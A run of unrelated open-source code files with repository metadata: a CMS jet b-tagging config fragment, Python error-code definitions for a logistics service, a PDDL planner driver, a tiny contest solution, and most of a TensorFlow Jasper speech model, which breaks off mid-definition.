akPuSoftDrop6CalobTagger.PositiveCombinedSecondaryVertexBJetTags akPuSoftDrop6CaloNegativeCombinedSecondaryVertexV2BJetTags = akPuSoftDrop6CalobTagger.NegativeCombinedSecondaryVertexV2BJetTags akPuSoftDrop6CaloPositiveCombinedSecondaryVertexV2BJetTags = akPuSoftDrop6CalobTagger.PositiveCombinedSecondaryVertexV2BJetTags akPuSoftDrop6CaloSoftPFMuonsTagInfos = akPuSoftDrop6CalobTagger.SoftPFMuonsTagInfos akPuSoftDrop6CaloSoftPFMuonsTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices") akPuSoftDrop6CaloSoftPFMuonBJetTags = akPuSoftDrop6CalobTagger.SoftPFMuonBJetTags akPuSoftDrop6CaloSoftPFMuonByIP3dBJetTags = akPuSoftDrop6CalobTagger.SoftPFMuonByIP3dBJetTags akPuSoftDrop6CaloSoftPFMuonByPtBJetTags = akPuSoftDrop6CalobTagger.SoftPFMuonByPtBJetTags akPuSoftDrop6CaloNegativeSoftPFMuonByPtBJetTags = akPuSoftDrop6CalobTagger.NegativeSoftPFMuonByPtBJetTags akPuSoftDrop6CaloPositiveSoftPFMuonByPtBJetTags = akPuSoftDrop6CalobTagger.PositiveSoftPFMuonByPtBJetTags akPuSoftDrop6CaloPatJetFlavourIdLegacy = cms.Sequence(akPuSoftDrop6CaloPatJetPartonAssociationLegacy*akPuSoftDrop6CaloPatJetFlavourAssociationLegacy) #Not working with our PU sub, but keep it here for reference #akPuSoftDrop6CaloPatJetFlavourAssociation = akPuSoftDrop6CalobTagger.PatJetFlavourAssociation #akPuSoftDrop6CaloPatJetFlavourId = cms.Sequence(akPuSoftDrop6CaloPatJetPartons*akPuSoftDrop6CaloPatJetFlavourAssociation) akPuSoftDrop6CaloJetBtaggingIP = cms.Sequence(akPuSoftDrop6CaloImpactParameterTagInfos * (akPuSoftDrop6CaloTrackCountingHighEffBJetTags + akPuSoftDrop6CaloTrackCountingHighPurBJetTags + akPuSoftDrop6CaloJetProbabilityBJetTags + akPuSoftDrop6CaloJetBProbabilityBJetTags ) ) akPuSoftDrop6CaloJetBtaggingSV = cms.Sequence(akPuSoftDrop6CaloImpactParameterTagInfos * akPuSoftDrop6CaloSecondaryVertexTagInfos * (akPuSoftDrop6CaloSimpleSecondaryVertexHighEffBJetTags+ akPuSoftDrop6CaloSimpleSecondaryVertexHighPurBJetTags+ akPuSoftDrop6CaloCombinedSecondaryVertexBJetTags+ akPuSoftDrop6CaloCombinedSecondaryVertexV2BJetTags ) ) akPuSoftDrop6CaloJetBtaggingNegSV = cms.Sequence(akPuSoftDrop6CaloImpactParameterTagInfos * akPuSoftDrop6CaloSecondaryVertexNegativeTagInfos * (akPuSoftDrop6CaloNegativeSimpleSecondaryVertexHighEffBJetTags+ akPuSoftDrop6CaloNegativeSimpleSecondaryVertexHighPurBJetTags+ akPuSoftDrop6CaloNegativeCombinedSecondaryVertexBJetTags+ akPuSoftDrop6CaloPositiveCombinedSecondaryVertexBJetTags+ akPuSoftDrop6CaloNegativeCombinedSecondaryVertexV2BJetTags+ akPuSoftDrop6CaloPositiveCombinedSecondaryVertexV2BJetTags ) ) akPuSoftDrop6CaloJetBtaggingMu = cms.Sequence(akPuSoftDrop6CaloSoftPFMuonsTagInfos * (akPuSoftDrop6CaloSoftPFMuonBJetTags + akPuSoftDrop6CaloSoftPFMuonByIP3dBJetTags + akPuSoftDrop6CaloSoftPFMuonByPtBJetTags + akPuSoftDrop6CaloNegativeSoftPFMuonByPtBJetTags + akPuSoftDrop6CaloPositiveSoftPFMuonByPtBJetTags ) ) akPuSoftDrop6CaloJetBtagging = cms.Sequence(akPuSoftDrop6CaloJetBtaggingIP *akPuSoftDrop6CaloJetBtaggingSV *akPuSoftDrop6CaloJetBtaggingNegSV # *akPuSoftDrop6CaloJetBtaggingMu ) akPuSoftDrop6CalopatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("akPuSoftDrop6CaloJets"), genJetMatch = cms.InputTag("akPuSoftDrop6Calomatch"), genPartonMatch = cms.InputTag("akPuSoftDrop6Caloparton"), jetCorrFactorsSource = cms.VInputTag(cms.InputTag("akPuSoftDrop6Calocorr")), JetPartonMapSource = cms.InputTag("akPuSoftDrop6CaloPatJetFlavourAssociationLegacy"), JetFlavourInfoSource = cms.InputTag("akPuSoftDrop6CaloPatJetFlavourAssociation"), trackAssociationSource = cms.InputTag("akPuSoftDrop6CaloJetTracksAssociatorAtVertex"), useLegacyJetMCFlavour = True, discriminatorSources = cms.VInputTag(cms.InputTag("akPuSoftDrop6CaloSimpleSecondaryVertexHighEffBJetTags"), cms.InputTag("akPuSoftDrop6CaloSimpleSecondaryVertexHighPurBJetTags"), cms.InputTag("akPuSoftDrop6CaloCombinedSecondaryVertexBJetTags"), cms.InputTag("akPuSoftDrop6CaloCombinedSecondaryVertexV2BJetTags"), cms.InputTag("akPuSoftDrop6CaloJetBProbabilityBJetTags"), cms.InputTag("akPuSoftDrop6CaloJetProbabilityBJetTags"), #cms.InputTag("akPuSoftDrop6CaloSoftPFMuonByPtBJetTags"), #cms.InputTag("akPuSoftDrop6CaloSoftPFMuonByIP3dBJetTags"), cms.InputTag("akPuSoftDrop6CaloTrackCountingHighEffBJetTags"), cms.InputTag("akPuSoftDrop6CaloTrackCountingHighPurBJetTags"), ), jetIDMap = cms.InputTag("akPuSoftDrop6CaloJetID"), addBTagInfo = True, addTagInfos = True, addDiscriminators = True, addAssociatedTracks = True, addJetCharge = False, addJetID = False, getJetMCFlavour = True, addGenPartonMatch = True, addGenJetMatch = True, embedGenJetMatch = True, embedGenPartonMatch = True, # embedCaloTowers = False, # embedPFCandidates = True ) akPuSoftDrop6CaloNjettiness = Njettiness.clone( src = cms.InputTag("akPuSoftDrop6CaloJets"), R0 = cms.double( 0.6) ) akPuSoftDrop6CalopatJetsWithBtagging.userData.userFloats.src += ['akPuSoftDrop6CaloNjettiness:tau1','akPuSoftDrop6CaloNjettiness:tau2','akPuSoftDrop6CaloNjettiness:tau3'] akPuSoftDrop6CaloJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("akPuSoftDrop6CalopatJetsWithBtagging"), genjetTag = 'ak6HiGenJets', rParam = 0.6, matchJets = cms.untracked.bool(False), matchTag = 'patJetsWithBtagging', pfCandidateLabel = cms.untracked.InputTag('particleFlowTmp'), trackTag = cms.InputTag("hiGeneralTracks"), fillGenJets = True, isMC = True, doSubEvent = True, useHepMC = cms.untracked.bool(False), genParticles = cms.untracked.InputTag("genParticles"), eventInfoTag = cms.InputTag("generator"), doLifeTimeTagging = cms.untracked.bool(True), doLifeTimeTaggingExtras = cms.untracked.bool(False), bTagJetName = cms.untracked.string("akPuSoftDrop6Calo"), jetName = cms.untracked.string("akPuSoftDrop6Calo"), genPtMin = cms.untracked.double(5), hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL'), doTower = cms.untracked.bool(True), doSubJets = cms.untracked.bool(True), doGenSubJets = cms.untracked.bool(False), subjetGenTag = cms.untracked.InputTag("akSoftDrop6GenJets"), doGenTaus = True ) akPuSoftDrop6CaloJetSequence_mc = cms.Sequence( #akPuSoftDrop6Caloclean #* akPuSoftDrop6Calomatch #* #akPuSoftDrop6CalomatchGroomed * akPuSoftDrop6Caloparton * akPuSoftDrop6Calocorr * #akPuSoftDrop6CaloJetID #* akPuSoftDrop6CaloPatJetFlavourIdLegacy #* #akPuSoftDrop6CaloPatJetFlavourId # Use legacy algo till PU implemented * akPuSoftDrop6CaloJetTracksAssociatorAtVertex * akPuSoftDrop6CaloJetBtagging * akPuSoftDrop6CaloNjettiness * akPuSoftDrop6CalopatJetsWithBtagging * akPuSoftDrop6CaloJetAnalyzer ) akPuSoftDrop6CaloJetSequence_data = cms.Sequence(akPuSoftDrop6Calocorr * #akPuSoftDrop6CaloJetID #* akPuSoftDrop6CaloJetTracksAssociatorAtVertex * akPuSoftDrop6CaloJetBtagging * akPuSoftDrop6CaloNjettiness * akPuSoftDrop6CalopatJetsWithBtagging * akPuSoftDrop6CaloJetAnalyzer ) akPuSoftDrop6CaloJetSequence_jec = cms.Sequence(akPuSoftDrop6CaloJetSequence_mc) akPuSoftDrop6CaloJetSequence_mb = cms.Sequence(akPuSoftDrop6CaloJetSequence_mc) akPuSoftDrop6CaloJetSequence = cms.Sequence(akPuSoftDrop6CaloJetSequence_mb)

[ "rchudasa@cern.ch" ]

rchudasa@cern.ch

dc42d8e89404cf9af6ce1eb141a5c7628715b53b

8195f2c3a3b46a3b01571bcbc33960290fce3f32

/biz/errors.py

6511688a69bf2bd05d4f59a6e320e8e807cc7c69

[]

no_license

adoggie/camel

e391e5544a1602ab43257b255dd6558bcc0ee3b1

24b4e9b397ca68b8d4d21be7c372b8163a6ca678

refs/heads/master

2021-01-18T20:27:55.172148

2017-05-22T14:19:57

86,969,529

1

0

null

UTF-8

Python

false

7,050

py

#coding:utf-8 from camel.fundamental.errors import hash_object,ErrorEntry class ErrorDefs: __ver__ =u'1.0' __BASE__ = 0 SUCC = ErrorEntry(0, u'成功') class ErrorDefsDispatcher: __ver__ = u'1.0' __BASE__ = 10000 OK = ErrorEntry(1000, u'success成功') DB_ERROR = ErrorEntry(1001, u'数据库错误') LOGIN_FAIL = ErrorEntry(1002, u'登录失败') REPEAT_TIC = ErrorEntry(1003, u'') SERVER_ERR = ErrorEntry(1004, u'服务器错误') REFRESH = ErrorEntry(1005, u'') TRANS_OK = ErrorEntry(1006, u'') TRUCK_IS_ONWAY = ErrorEntry(1007, u'车辆正在运输中') UNKNOW_DEVICE = ErrorEntry(1008, u'未知设备，仅支持web登录') AUTH_FAIL = ErrorEntry(1100, u'鉴权失败') NO_TOKEN = ErrorEntry(1101, u'没有TOKEN') NO_USER = ErrorEntry(1102, u'没有用户') TOKEN_INVALID = ErrorEntry(1103, u'token已失效') NO_VOUCHER = ErrorEntry(1104, u'票据获取失败') USER_NOT_ACTIVE = ErrorEntry(1201, u'用户未激活') RESET_PWD_FAIL = ErrorEntry(1202, u'重置密码错误') USER_UP_ERR = ErrorEntry(1203, u'用户更新错误') USER_NO_AUTHORIZATION = ErrorEntry(1204, u'用户无权限') NO_DRIVER = ErrorEntry(1300, u'司机用户不存在') NO_GROUP_STATUS = ErrorEntry(1301, u'不存在此状态组') NO_TNUMBER = ErrorEntry(1302, u'无此订单') INVALID_STATUS = ErrorEntry(1303, u'运单状态无效') VALUE_ERROR = ErrorEntry(1304, u'参数值错误') TRANS_DATA_CHANGED = ErrorEntry(1305, u'运单状态被改变') TRANS_STATUS_CHANGE_FAIL = ErrorEntry(1306, u'运单状态改变失败') LOCATION_NOT_IN_TRANS = ErrorEntry(1307, u'该地点不存在运单中') TRANS_FINISHED = ErrorEntry(1308, u'运单已完成，异常上报失败') TRANS_IS_EXIST = ErrorEntry(1309, u'运单号已存在') PLATE_NO_TRANS = ErrorEntry(1310, u'此车牌无正在进行中的运单') NO_LOCATION = ErrorEntry(1401, u'没有此location编码') NOTE_EXIST = ErrorEntry(1402, u'重复添加note') RECORD_EXIST = ErrorEntry(1403, u'重复补录操作') TRANS_STATUS_ERROR = ErrorEntry(1404, u'运单状态错误') DRIVER_QR_RELA_FAILED = ErrorEntry(1501, u'车牌已有司机绑定') DRIVER_QR_CODE_INVALID = ErrorEntry(1502, u'无效的司机二维码') DRIVER_QR_CODE_EXPIRED = ErrorEntry(1503, u'司机二维码已过期') NO_TRUCK = ErrorEntry(1601, u'车辆不存在') NO_QR_RS = ErrorEntry(1701, u'车辆未绑定司机') NO_LINE = ErrorEntry(1702, u'线路不存在') DRIVER_HAS_BOUND_PLATE = ErrorEntry(1703, u'司机已绑定车牌') NO_CQ = ErrorEntry(1704, u'未获取到车签号') CQ_IS_EXIST = ErrorEntry(1801, u'车签已存在') PLATE_NO_SAME = ErrorEntry(1802, u'建立关联关系的两个运单车牌不一致') TRANS_HAVE_LINKED = ErrorEntry(1803, u'运单已经被关联') TIME_MATCH_ERROR = ErrorEntry(1804, u'客户端时间与服务器时间不匹配') class ErrorDefsDriver: __ver__ =u'1.0' __BASE__ = 20000 OK = ErrorEntry( 1000 ,u'success成功') DB_ERROR = ErrorEntry( 1001 ,u'服务器打了个盹') SERVER_ERR = ErrorEntry( 1004 ,u'服务器开小差啦') REFRESH = ErrorEntry( 1005 ,u'刷新回调') NO_PERMIT = ErrorEntry( 1008 ,u'未获取到运单信息') AUTH_FAIL = ErrorEntry( 1100 ,u'密码输入错误，请重新输入') TOKEN_INVALID = ErrorEntry( 1101 ,u'您的帐号登录已过期失效，请重新登录') NO_USER = TOKEN_INVALID NO_DRIVER = TOKEN_INVALID NO_USER_EXIST = ErrorEntry( 1102 ,u'该手机号未注册') NO_DRIVER_EXIST = NO_USER_EXIST USER_OUT = ErrorEntry( 1103 ,u'您的帐号已在其他手机登录') USER_EXIST = ErrorEntry( 1104 ,u'该手机号已被注册') REGISTER_ERR = ErrorEntry( 1105 ,u'网络连接失败，请检查网络') NOT_DRIVER = ErrorEntry( 1106 ,u'请使用司机端APP注册') PASSWD_ERR = ErrorEntry( 1107 ,u'原密码输入错误，请重新输入') USER_NOT_ACTIVE = ErrorEntry( 1201 ,u'请修改初始密码') NO_TNUMBER = ErrorEntry( 1302 ,u'运单不存在') SMS_EXPIRE = ErrorEntry( 1303 ,u'验证码已过期, 请重新获取') PARAMS_ERROR = ErrorEntry( 1304 ,u'参数类型错误') SMS_ERROR = ErrorEntry( 1305 ,u'验证码错误,请重新输入') SMS_SENDED = ErrorEntry( 1306 ,u'验证码已发送，请稍后再试') TRANS_FINISHED = ErrorEntry( 1308 ,u'运单已完成，无法进行异常上报') NO_LOCATION = ErrorEntry( 1401 ,u'没有此location编码') DRIVER_QR_RELA_FAILED = ErrorEntry( 1501 ,u'绑定失败') NO_TRUCK = ErrorEntry( 1601 ,u'未找到对应的车辆信息') NO_QR_RS = ErrorEntry( 1701 ,u'未绑定车辆') EXCEPTION_EXIST = ErrorEntry(1805, u'重复上报异常') class ErrorDefsCarrier: __ver__ =u'1.0' __BASE__ = 30000 OK = ErrorEntry(1800,u'success') SERVER_ERR = ErrorEntry(1801,u'server err!') LOGIN_FAIL = ErrorEntry(1817,u'login fail!') NOT_ALLOW = ErrorEntry(1803,u'not allow!') COMMITED = ErrorEntry(1804,u'commited') REGISTERED = ErrorEntry(1805,u'registered') NO_USER = ErrorEntry(1806,u'no user') METHOD_ERR = ErrorEntry(1807,u'method err!') NO_DATA = ErrorEntry(1808,u'no data') TEMP_TOKEN = ErrorEntry(1809,u'tmp token') PASSWD_EXPIRE = ErrorEntry(1810,u'token expire') DB_ERROR = ErrorEntry(1811,u'db err') CHECKED = ErrorEntry(1812,u'已审核') ADMIN_USER = ErrorEntry(1813,u'admin user') NO_TOKEN = ErrorEntry(1814,u'NO TOKEN') PASSWD_ERR = ErrorEntry(1816,u'passwd error!') TOKEN_EXPIRE = ErrorEntry(1802,u'token expire!') PARAMS_ERR = ErrorEntry(1818,u'params_err!') NO_SHIPPER = ErrorEntry(1819,u'no shipper') NO_MATCH_DATA = ErrorEntry(1820,u'no match data') SHIPPER_NO_COMMIT = ErrorEntry(1821,u'shpper have no committed') TRUCK_EXISTS = ErrorEntry(1822,u'truck exists') errordefs = (ErrorDefsDispatcher,ErrorDefsCarrier,ErrorDefsDriver) def reIndex(): for defs in errordefs: kvs = hash_object( defs) for k,v in kvs.items(): v.value+= defs.__BASE__ print defs,':',k,'=',v.value,v.comment

[ "24509826@qq.com" ]

24509826@qq.com

4b63255fa149486950f043c7f04558b67ca41f7f

0c53c0a5dcd5b4a6e237fb034a9e9f544fdc7d20

/pdkb/planner.py

e1b0c18f8f7b96f634343efd4bab04a60aa3ffcc

[ "MIT" ]

permissive

javiermtorres/pdkb-planning

4b379776ba42ac907c246d21a93e186c54926005

61a96c006b606aa051b2c7c9b5bfc9b6473d2a4d

refs/heads/master

2022-11-08T12:14:06.781734

2020-06-23T01:40:27

null

0

null

UTF-8

Python

false

1,599

py

import os, sys, time, pickle from .actions import * from .problems import * def cleanup(): os.system('rm -f pdkb-domain.pddl') os.system('rm -f pdkb-problem.pddl') os.system('rm -f pdkb-plan.txt') os.system('rm -f pdkb-plan.out') os.system('rm -f pdkb-plan.out.err') os.system('rm -f execution.details') def solve(pdkbddl_file, old_planner=False): print() if not os.path.isdir('.problem-cache'): os.mkdir('.problem-cache') t_start = time.time() print("Parsing problem...", end=' ') sys.stdout.flush() problem = parse_pdkbddl(pdkbddl_file) print("done!") print("Preprocessing problem...", end=' ') sys.stdout.flush() prob_hash = hash(pickle.dumps(problem)) fname = ".problem-cache/%s" % str(prob_hash) if os.path.isfile(fname) and not os.path.isfile('.nocache'): problem = pickle.load(open(fname, 'r')) print("done! (from cache)") else: problem.preprocess() with open(fname, 'wb') as f: pickle.dump(problem, f, 2) print("done!") print("Solving problem...", end=' ') sys.stdout.flush() problem.solve(old_planner) print("done!") print("\nTime: %f s" % (time.time() - t_start)) problem.output_solution() print() if __name__ == '__main__': if len(sys.argv) < 2: print("\nUsage: python planner.py <pdkbddl file> [--keep-files] [--old-planner]\n") sys.exit(1) solve(sys.argv[1], old_planner=('--old-planner' in sys.argv)) if len(sys.argv) < 3 or '--keep-files' != sys.argv[2]: cleanup()

[ "christian.muise@gmail.com" ]

christian.muise@gmail.com

ca9140c6cb8e2ed05252aa84546a0ff0c9d29e76

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p02717/s558364761.py

f30a185b94e4feeffd2e33ec0762827493b66b18

[]

no_license

Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8

refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

367,112,348

0

null

UTF-8

Python

false

51

py

x,y,z=map(str,input().split()) print(z+' '+x+' '+y)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

b15b600841eb13bf2e9d5b43e4e723ffc7e840dd

1b91fdcb79f8f6c1ea4713105512f68a161fe334

/tensorflow2/tf2cv/models/jasper.py

f064e3a442c085afb7af68eafd305bffce4ca588

[ "MIT" ]

permissive

YoheiYamasaki/imgclsmob

fb28964eb42d5e536944d4a75e6dddaff58ce965

fbf1fe551a6bba763db7870ece057e5068edb984

refs/heads/master

2023-05-06T11:01:55.168785

2021-05-26T15:04:27

null

0

null

UTF-8

Python

false

29,749

py

""" Jasper/DR for ASR, implemented in TensorFlow. Original paper: 'Jasper: An End-to-End Convolutional Neural Acoustic Model,' https://arxiv.org/abs/1904.03288. """ __all__ = ['Jasper', 'jasper5x3', 'jasper10x4', 'jasper10x5', 'get_jasper'] import os import tensorflow as tf import tensorflow.keras.layers as nn from .common import get_activation_layer, Conv1d, BatchNorm, DualPathSequential, DualPathParallelConcurent,\ is_channels_first def conv1d1(in_channels, out_channels, strides=1, groups=1, use_bias=False, data_format="channels_last", **kwargs): """ 1-dim kernel version of the 1D convolution layer. Parameters: ---------- in_channels : int Number of input channels. out_channels : int Number of output channels. strides : int, default 1 Strides of the convolution. groups : int, default 1 Number of groups. use_bias : bool, default False Whether the layer uses a bias vector. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ return Conv1d( in_channels=in_channels, out_channels=out_channels, kernel_size=1, strides=strides, groups=groups, use_bias=use_bias, data_format=data_format, **kwargs) class MaskConv1d(Conv1d): """ Masked 1D convolution block. Parameters: ---------- in_channels : int Number of input channels. out_channels : int Number of output channels. kernel_size : int or tuple/list of 1 int Convolution window size. strides : int or tuple/list of 1 int Strides of the convolution. padding : int or tuple/list of 1 int, default 0 Padding value for convolution layer. dilation : int or tuple/list of 1 int, default 1 Dilation value for convolution layer. groups : int, default 1 Number of groups. use_bias : bool, default False Whether the layer uses a bias vector. use_mask : bool, default True Whether to use mask. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, in_channels, out_channels, kernel_size, strides, padding=0, dilation=1, groups=1, use_bias=False, use_mask=True, data_format="channels_last", **kwargs): super(MaskConv1d, self).__init__( in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size, strides=strides, padding=padding, dilation=dilation, groups=groups, use_bias=use_bias, data_format=data_format, **kwargs) self.use_mask = use_mask self.data_format = data_format if self.use_mask: self.kernel_size = kernel_size[0] if isinstance(kernel_size, (list, tuple)) else kernel_size self.strides = strides[0] if isinstance(strides, (list, tuple)) else strides self.padding = padding[0] if isinstance(padding, (list, tuple)) else padding self.dilation = dilation[0] if isinstance(dilation, (list, tuple)) else dilation def call(self, x, x_len): if self.use_mask: if is_channels_first(self.data_format): max_len = x.shape[2] mask = tf.cast(tf.linspace(0, max_len - 1, max_len), tf.int64) < x_len[0] mask = tf.broadcast_to(tf.expand_dims(tf.expand_dims(mask, 0), 1), x.shape) x = tf.where(mask, x, tf.zeros(x.shape)) else: max_len = x.shape[1] mask = tf.cast(tf.linspace(0, max_len - 1, max_len), tf.int64) < x_len[0] mask = tf.broadcast_to(tf.expand_dims(tf.expand_dims(mask, 0), 2), x.shape) x = tf.where(mask, x, tf.zeros(x.shape)) x_len = (x_len + 2 * self.padding - self.dilation * (self.kernel_size - 1) - 1) // self.strides + 1 x = super(MaskConv1d, self).call(x) return x, x_len def mask_conv1d1(in_channels, out_channels, strides=1, groups=1, use_bias=False, data_format="channels_last", **kwargs): """ Masked 1-dim kernel version of the 1D convolution layer. Parameters: ---------- in_channels : int Number of input channels. out_channels : int Number of output channels. strides : int, default 1 Strides of the convolution. groups : int, default 1 Number of groups. use_bias : bool, default False Whether the layer uses a bias vector. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ return MaskConv1d( in_channels=in_channels, out_channels=out_channels, kernel_size=1, strides=strides, groups=groups, use_bias=use_bias, data_format=data_format, **kwargs) class MaskConvBlock1d(nn.Layer): """ Masked 1D convolution block with batch normalization, activation, and dropout. Parameters: ---------- in_channels : int Number of input channels. out_channels : int Number of output channels. kernel_size : int Convolution window size. strides : int Strides of the convolution. padding : int Padding value for convolution layer. dilation : int, default 1 Dilation value for convolution layer. groups : int, default 1 Number of groups. use_bias : bool, default False Whether the layer uses a bias vector. use_bn : bool, default True Whether to use BatchNorm layer. bn_eps : float, default 1e-5 Small float added to variance in Batch norm. activation : function or str or None, default 'relu' Activation function or name of activation function. dropout_rate : float, default 0.0 Parameter of Dropout layer. Faction of the input units to drop. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, in_channels, out_channels, kernel_size, strides, padding, dilation=1, groups=1, use_bias=False, use_bn=True, bn_eps=1e-5, activation="relu", dropout_rate=0.0, data_format="channels_last", **kwargs): super(MaskConvBlock1d, self).__init__(**kwargs) self.activate = (activation is not None) self.use_bn = use_bn self.use_dropout = (dropout_rate != 0.0) self.conv = MaskConv1d( in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size, strides=strides, padding=padding, dilation=dilation, groups=groups, use_bias=use_bias, data_format=data_format, name="conv") if self.use_bn: self.bn = BatchNorm( epsilon=bn_eps, data_format=data_format, name="bn") if self.activate: self.activ = get_activation_layer(activation, name="activ") if self.use_dropout: self.dropout = nn.Dropout( rate=dropout_rate, name="dropout") def call(self, x, x_len, training=None): x, x_len = self.conv(x, x_len) if self.use_bn: x = self.bn(x, training=training) if self.activate: x = self.activ(x) if self.use_dropout: x = self.dropout(x, training=training) return x, x_len def mask_conv1d1_block(in_channels, out_channels, strides=1, padding=0, data_format="channels_last", **kwargs): """ 1-dim kernel version of the masked 1D convolution block. Parameters: ---------- in_channels : int Number of input channels. out_channels : int Number of output channels. strides : int, default 1 Strides of the convolution. padding : int, default 0 Padding value for convolution layer. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ return MaskConvBlock1d( in_channels=in_channels, out_channels=out_channels, kernel_size=1, strides=strides, padding=padding, data_format=data_format, **kwargs) class ChannelShuffle1d(nn.Layer): """ 1D version of the channel shuffle layer. Parameters: ---------- channels : int Number of channels. groups : int Number of groups. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, channels, groups, data_format="channels_last", **kwargs): super(ChannelShuffle1d, self).__init__(**kwargs) assert (channels % groups == 0) self.groups = groups self.data_format = data_format def call(self, x, training=None): x_shape = x.get_shape().as_list() if is_channels_first(self.data_format): channels = x_shape[1] seq_len = x_shape[2] else: seq_len = x_shape[1] channels = x_shape[2] assert (channels % self.groups == 0) channels_per_group = channels // self.groups if is_channels_first(self.data_format): x = tf.reshape(x, shape=(-1, self.groups, channels_per_group, seq_len)) x = tf.transpose(x, perm=(0, 2, 1, 3)) x = tf.reshape(x, shape=(-1, channels, seq_len)) else: x = tf.reshape(x, shape=(-1, seq_len, self.groups, channels_per_group)) x = tf.transpose(x, perm=(0, 1, 3, 2)) x = tf.reshape(x, shape=(-1, seq_len, channels)) return x def __repr__(self): s = "{name}(groups={groups})" return s.format( name=self.__class__.__name__, groups=self.groups) class DwsConvBlock1d(nn.Layer): """ Depthwise version of the 1D standard convolution block with batch normalization, activation, dropout, and channel shuffle. Parameters: ---------- in_channels : int Number of input channels. out_channels : int Number of output channels. kernel_size : int Convolution window size. strides : int Strides of the convolution. padding : int Padding value for convolution layer. dilation : int, default 1 Dilation value for convolution layer. groups : int, default 1 Number of groups. use_bias : bool, default False Whether the layer uses a bias vector. use_bn : bool, default True Whether to use BatchNorm layer. bn_eps : float, default 1e-5 Small float added to variance in Batch norm. activation : function or str or None, default 'relu' Activation function or name of activation function. dropout_rate : float, default 0.0 Parameter of Dropout layer. Faction of the input units to drop. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, in_channels, out_channels, kernel_size, strides, padding, dilation=1, groups=1, use_bias=False, use_bn=True, bn_eps=1e-5, activation="relu", dropout_rate=0.0, data_format="channels_last", **kwargs): super(DwsConvBlock1d, self).__init__(**kwargs) self.activate = (activation is not None) self.use_bn = use_bn self.use_dropout = (dropout_rate != 0.0) self.use_channel_shuffle = (groups > 1) self.dw_conv = MaskConv1d( in_channels=in_channels, out_channels=in_channels, kernel_size=kernel_size, strides=strides, padding=padding, dilation=dilation, groups=in_channels, use_bias=use_bias, data_format=data_format, name="dw_conv") self.pw_conv = mask_conv1d1( in_channels=in_channels, out_channels=out_channels, groups=groups, use_bias=use_bias, data_format=data_format, name="pw_conv") if self.use_channel_shuffle: self.shuffle = ChannelShuffle1d( channels=out_channels, groups=groups, data_format=data_format, name="shuffle") if self.use_bn: self.bn = BatchNorm( epsilon=bn_eps, data_format=data_format, name="bn") if self.activate: self.activ = get_activation_layer(activation, name="activ") if self.use_dropout: self.dropout = nn.Dropout( rate=dropout_rate, name="dropout") def call(self, x, x_len, training=None): x, x_len = self.dw_conv(x, x_len) x, x_len = self.pw_conv(x, x_len) if self.use_channel_shuffle: x = self.shuffle(x) if self.use_bn: x = self.bn(x, training=training) if self.activate: x = self.activ(x) if self.use_dropout: x = self.dropout(x, training=training) return x, x_len class JasperUnit(nn.Layer): """ Jasper unit with residual connection. Parameters: ---------- in_channels : int or list of int Number of input channels. out_channels : int Number of output channels. kernel_size : int Convolution window size. bn_eps : float Small float added to variance in Batch norm. dropout_rate : float Parameter of Dropout layer. Faction of the input units to drop. repeat : int Count of body convolution blocks. use_dw : bool Whether to use depthwise block. use_dr : bool Whether to use dense residual scheme. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, in_channels, out_channels, kernel_size, bn_eps, dropout_rate, repeat, use_dw, use_dr, data_format="channels_last", **kwargs): super(JasperUnit, self).__init__(**kwargs) self.use_dropout = (dropout_rate != 0.0) self.use_dr = use_dr block_class = DwsConvBlock1d if use_dw else MaskConvBlock1d if self.use_dr: self.identity_block = DualPathParallelConcurent(name="identity_block") for i, dense_in_channels_i in enumerate(in_channels): self.identity_block.add(mask_conv1d1_block( in_channels=dense_in_channels_i, out_channels=out_channels, bn_eps=bn_eps, dropout_rate=0.0, activation=None, data_format=data_format, name="block{}".format(i + 1))) in_channels = in_channels[-1] else: self.identity_block = mask_conv1d1_block( in_channels=in_channels, out_channels=out_channels, bn_eps=bn_eps, dropout_rate=0.0, activation=None, data_format=data_format, name="identity_block") self.body = DualPathSequential(name="body") for i in range(repeat): activation = "relu" if i < repeat - 1 else None dropout_rate_i = dropout_rate if i < repeat - 1 else 0.0 self.body.add(block_class( in_channels=in_channels, out_channels=out_channels, kernel_size=kernel_size, strides=1, padding=(kernel_size // 2), bn_eps=bn_eps, dropout_rate=dropout_rate_i, activation=activation, data_format=data_format, name="block{}".format(i + 1))) in_channels = out_channels self.activ = nn.ReLU() if self.use_dropout: self.dropout = nn.Dropout( rate=dropout_rate, name="dropout") def call(self, x, x_len, training=None): if self.use_dr: x_len, y, y_len = x_len if type(x_len) is tuple else (x_len, None, None) y = [x] if y is None else y + [x] y_len = [x_len] if y_len is None else y_len + [x_len] identity, _ = self.identity_block(y, y_len, training=training) identity = tf.stack(identity, axis=1) identity = tf.math.reduce_sum(identity, axis=1) else: identity, _ = self.identity_block(x, x_len, training=training) x, x_len = self.body(x, x_len, training=training) x = x + identity x = self.activ(x) if self.use_dropout: x = self.dropout(x, training=training) if self.use_dr: return x, (x_len, y, y_len) else: return x, x_len class JasperFinalBlock(nn.Layer): """ Jasper specific final block. Parameters: ---------- in_channels : int Number of input channels. channels : list of int Number of output channels for each block. kernel_sizes : list of int Kernel sizes for each block. bn_eps : float Small float added to variance in Batch norm. dropout_rates : list of int Dropout rates for each block. use_dw : bool Whether to use depthwise block. use_dr : bool Whether to use dense residual scheme. data_format : str, default 'channels_last' The ordering of the dimensions in tensors. """ def __init__(self, in_channels, channels, kernel_sizes, bn_eps, dropout_rates, use_dw, use_dr, 